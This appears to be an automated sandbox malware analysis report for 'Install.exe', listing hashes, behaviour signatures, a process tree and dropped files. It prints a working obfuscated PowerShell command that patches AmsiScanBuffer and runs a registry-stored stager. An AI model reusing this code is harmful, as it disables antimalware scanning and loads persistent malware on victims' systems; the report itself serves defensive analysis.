Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-07-2024 16:14

General

  • Target

    zvgfd-main/Install.exe

  • Size

    164KB

  • MD5

    319a41dd1934848abc8a5df381540481

  • SHA1

    24ad88753d62ae5e38c3b6caba45bef5c70f7699

  • SHA256

    abde8270375bf984b9a8bf1c15ff77f9e33ad185c7305471e05feb80843ee5bc

  • SHA512

    929ca873880db0706ab3d76d98acd343dafab2145fafa3aa05c273b3cf451aac16d1ce71776a9e1fde7a794f172d60dc1536876193bd510de8a259c3f43211cf

  • SSDEEP

    3072:xQpsM8ulc/LGjoOYDqFPgdt3oJ4xbnaldp9pq1N1dIfnXSxmPRnSee9:xQpsMjlc/LGMAFet30Kbml41N1dINP4p

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 19 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:608
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:64
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{8330e848-73db-4f8e-be37-cf91d47f076c}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3808
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:672
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:956
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:740
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1044
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
              • Drops file in System32 directory
              PID:1120
              • C:\Windows\system32\taskhostw.exe
                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                2⤵
                  PID:2844
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:czCAvtqtxBmA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rSqlCuNZZaAEGL,[Parameter(Position=1)][Type]$SjmdDpRWoM)$stUtIWaZWfz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'em'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'a'+[Char](116)+''+'e'+''+[Char](84)+'y'+'p'+''+[Char](101)+'','Cl'+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+'s'+'s'+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$stUtIWaZWfz.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+'p'+''+[Char](101)+'c'+[Char](105)+''+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$rSqlCuNZZaAEGL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$stUtIWaZWfz.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$SjmdDpRWoM,$rSqlCuNZZaAEGL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Mana'+[Char](103)+'ed');Write-Output $stUtIWaZWfz.CreateType();}$AaizHYOyYrHFa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m.d'+'l'+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$eqHsqruBrSiKFy=$AaizHYOyYrHFa.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+'dd'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+'ta'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hGOLEZOqeRrshiNyDkj=czCAvtqtxBmA @([String])([IntPtr]);$VraNvqSxbktqkLstGkjtXU=czCAvtqtxBmA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cYJveyRbOca=$AaizHYOyYrHFa.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$iiAysVKEnlrofm=$eqHsqruBrSiKFy.Invoke($Null,@([Object]$cYJveyRbOca,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+'L'+'ib'+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$gdTJQWhomnDlKdasr=$eqHsqruBrSiKFy.Invoke($Null,@([Object]$cYJveyRbOca,[Object]('Vi'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+'t'+''+[Char](101)+''+'c'+'t')));$NiqvXna=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iiAysVKEnlrofm,$hGOLEZOqeRrshiNyDkj).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+'.'+'d'+'l'+'l'+'');$eYLctbXjgfrHXJwZx=$eqHsqruBrSiKFy.Invoke($Null,@([Object]$NiqvXna,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+'u'+[Char](102)+'fe'+'r'+'')));$XNIOZpuupG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gdTJQWhomnDlKdasr,$VraNvqSxbktqkLstGkjtXU).Invoke($eYLctbXjgfrHXJwZx,[uint32]8,4,[ref]$XNIOZpuupG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eYLctbXjgfrHXJwZx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gdTJQWhomnDlKdasr,$VraNvqSxbktqkLstGkjtXU).Invoke($eYLctbXjgfrHXJwZx,[uint32]8,0x20,[ref]$XNIOZpuupG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$'+'7'+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                  2⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1320
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                1⤵
                • Drops file in System32 directory
                PID:1140
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1172
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1180
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1200
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1284
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1304
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                          1⤵
                            PID:1424
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1432
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2936
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:5064
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:4656
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:4456
                                      • C:\Windows\system32\sihost.exe
                                        sihost.exe
                                        2⤵
                                          PID:2236
                                        • C:\Windows\system32\sihost.exe
                                          sihost.exe
                                          2⤵
                                            PID:2692
                                          • C:\Windows\system32\sihost.exe
                                            sihost.exe
                                            2⤵
                                              PID:2840
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                            1⤵
                                              PID:1584
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                              1⤵
                                                PID:1616
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                1⤵
                                                  PID:1632
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                  1⤵
                                                    PID:1740
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                    1⤵
                                                      PID:1748
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                      1⤵
                                                        PID:1780
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:1872
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                          1⤵
                                                            PID:2036
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                            1⤵
                                                              PID:2044
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                              1⤵
                                                                PID:1592
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                1⤵
                                                                  PID:1648
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                  1⤵
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1908
                                                                • C:\Windows\System32\spoolsv.exe
                                                                  C:\Windows\System32\spoolsv.exe
                                                                  1⤵
                                                                    PID:2144
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:2184
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                      1⤵
                                                                        PID:2356
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                        1⤵
                                                                          PID:2528
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                          1⤵
                                                                            PID:2536
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                            1⤵
                                                                            • Drops file in System32 directory
                                                                            • Modifies data under HKEY_USERS
                                                                            PID:2644
                                                                          • C:\Windows\sysmon.exe
                                                                            C:\Windows\sysmon.exe
                                                                            1⤵
                                                                              PID:2712
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                              • Enumerates connected drives
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2728
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                              1⤵
                                                                                PID:2744
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                1⤵
                                                                                  PID:2752
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                  1⤵
                                                                                    PID:2924
                                                                                  • C:\Windows\system32\wbem\unsecapp.exe
                                                                                    C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                    1⤵
                                                                                      PID:3044
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                      1⤵
                                                                                        PID:528
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:3360
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3468
                                                                                          • C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe"
                                                                                            2⤵
                                                                                              PID:3028
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                            1⤵
                                                                                              PID:3580
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:3776
                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3936
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:4152
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                    1⤵
                                                                                                      PID:5060
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                      1⤵
                                                                                                        PID:3508
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                        1⤵
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:3380
                                                                                                      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                        1⤵
                                                                                                        • Drops file in System32 directory
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:2028
                                                                                                      • C:\Windows\system32\SppExtComObj.exe
                                                                                                        C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:1544
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                          1⤵
                                                                                                            PID:2264
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                            1⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:3632
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                            1⤵
                                                                                                              PID:2984
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:3076
                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:3412
                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:4624
                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                    C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                    1⤵
                                                                                                                      PID:4996
                                                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                      C:\Windows\System32\WaaSMedicAgent.exe c396d802fde8a837549ef4d5d7038f53 HQutfai45UOmb0v2dBKXhA.0.1.0.0.0
                                                                                                                      1⤵
                                                                                                                      • Sets service image path in registry
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      PID:4260
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        2⤵
                                                                                                                          PID:1224
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                        1⤵
                                                                                                                        • Drops file in Windows directory
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:4092
                                                                                                                      • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                        1⤵
                                                                                                                        • Checks BIOS information in registry
                                                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                        • Enumerates system info in registry
                                                                                                                        PID:3236
                                                                                                                      • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                        C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                        1⤵
                                                                                                                          PID:4984
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                          1⤵
                                                                                                                            PID:228
                                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Enumerates system info in registry
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:2812
                                                                                                                          • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                            C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                            • Drops file in Windows directory
                                                                                                                            PID:4064

                                                                                                                          Network

                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C

                                                                                                                            Filesize

                                                                                                                            246B

                                                                                                                            MD5

                                                                                                                            4532f402fd67c93b50b5b4244c5fd8af

                                                                                                                            SHA1

                                                                                                                            ec034fa94b9b821ca330e59986014d2e83562c3b

                                                                                                                            SHA256

                                                                                                                            c81fd61367f3c1a2b92c53336c8c5d0e3663ce56d4dffe1655c201f18f03efb5

                                                                                                                            SHA512

                                                                                                                            6e15642ec369488812540059a1f986670e95a3b7f5b6c981a1e46b09281b82e2facfca0fbaa6bad2d2d9ab8a6b8d9114645e6154be28cfb940870e96223bbee1

                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                                                                                                                            Filesize

                                                                                                                            404B

                                                                                                                            MD5

                                                                                                                            046c403ac9bf884e044976e619e32c42

                                                                                                                            SHA1

                                                                                                                            c5e648212401d8c4d9a8f324d1bf00508576ea0f

                                                                                                                            SHA256

                                                                                                                            5ac0d54ff66c4f2b0a3376dc6d7145cb960fae166494edda83cb9c17f3afff44

                                                                                                                            SHA512

                                                                                                                            d0c17aa9260d11d22f70d76d94a446ab8f85cf2b50a495a1c31f0ccd0a09bd2cab9729567f2b38a81a1bf5a6e877c8d303d635270bc6a2de985106bc4d33549c

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                            SHA1

                                                                                                                            98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                            SHA256

                                                                                                                            ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                            SHA512

                                                                                                                            c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            f313c5b4f95605026428425586317353

                                                                                                                            SHA1

                                                                                                                            06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                            SHA256

                                                                                                                            129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                            SHA512

                                                                                                                            b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                            SHA1

                                                                                                                            a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                            SHA256

                                                                                                                            98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                            SHA512

                                                                                                                            1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                            SHA1

                                                                                                                            63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                            SHA256

                                                                                                                            727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                            SHA512

                                                                                                                            f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                          • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            0b990e24f1e839462c0ac35fef1d119e

                                                                                                                            SHA1

                                                                                                                            9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                            SHA256

                                                                                                                            a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                            SHA512

                                                                                                                            c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                          • C:\Windows\Temp\__PSScriptPolicyTest_xjb14lbt.hfe.ps1

                                                                                                                            Filesize

                                                                                                                            60B

                                                                                                                            MD5

                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                            SHA1

                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                            SHA256

                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                            SHA512

                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                          • C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                                                                                                                            Filesize

                                                                                                                            404B

                                                                                                                            MD5

                                                                                                                            25a1829848ec2266299dbd4f72b9ca57

                                                                                                                            SHA1

                                                                                                                            993783f9ff964c6fa745cc20d546724cd8ca47c9

                                                                                                                            SHA256

                                                                                                                            addb609358cdc046e54b54d3bdf9f26c17003f2a6b7de43763f0d7209518c171

                                                                                                                            SHA512

